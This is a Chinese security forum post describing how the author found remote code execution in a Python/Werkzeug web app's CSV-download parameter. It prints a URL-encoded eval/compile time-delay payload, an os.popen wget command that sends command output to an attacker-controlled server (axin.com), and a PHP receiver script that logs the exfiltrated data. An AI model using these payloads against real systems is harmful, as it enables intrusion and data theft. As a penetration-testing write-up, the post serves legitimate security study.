安全矩阵

 找回密码
 立即注册
搜索
查看: 3375|回复: 0

记一次曲折的RCE挖掘

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-10 20:25:01 | 显示全部楼层 |阅读模式
原文链接:记一次曲折的RCE挖掘

本漏洞由@Sh4dow供稿,????就完事儿了

简单记录一下这个漏洞,没啥特殊的手法,就是细心与fuzz????
目标应用有一个下载文件的功能,你可以以csv格式下载报告

抓包结果如下:

看起来好像没啥问题,但是响应中的Werkzaug与python吸引了我的注意,不了解Werkzaug的可以去看一下
我尝试着用一些其他的payload替换了params参数的值,都是报错,看起来真就没啥问题,我都准备不看这个点了,但是,当我用空参数的时候,服务器返回了500错误

这说明这个参数还是会影响服务器的运行的嘛(当然也不一定,这里只是我的一个猜测),为了进一步确定,我开始fuzz这个参数
最后把各种报错整理了一下,发现所有和python相关的payload都报了500错误????
看起来有戏,于是把python rce的payload进行了一下url编码,
  1. eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
复制代码

成功执行,服务器产生了延时:


由于数据不会回显,我们就只有用其他手法来外带数据了,还记得上一篇文章的内容吗?
没有看上一篇文章的快回头去瞅瞅????
构造payload:
  1. eval(compile("""for x in range(1):\n import os\n os.popen(r'wget http://axin.com:8000/shell.php?cmd="$(ls -la)”)read()”””,’’,’single’))
复制代码
然后在我们的服务器axin.com上部署一份shell.php文件,文件内容如下:

  1. <?php
  2. $a = fopen('POC.txt', 'a');
  3. fwrite($a, $_GET["cmd"]);
  4. fclose($a);
  5. ?>
复制代码

发送payload,并查看POC.txt文件的内容:


nice的不得了,当然,也可以直接弹shell






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:48 , Processed in 0.012201 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表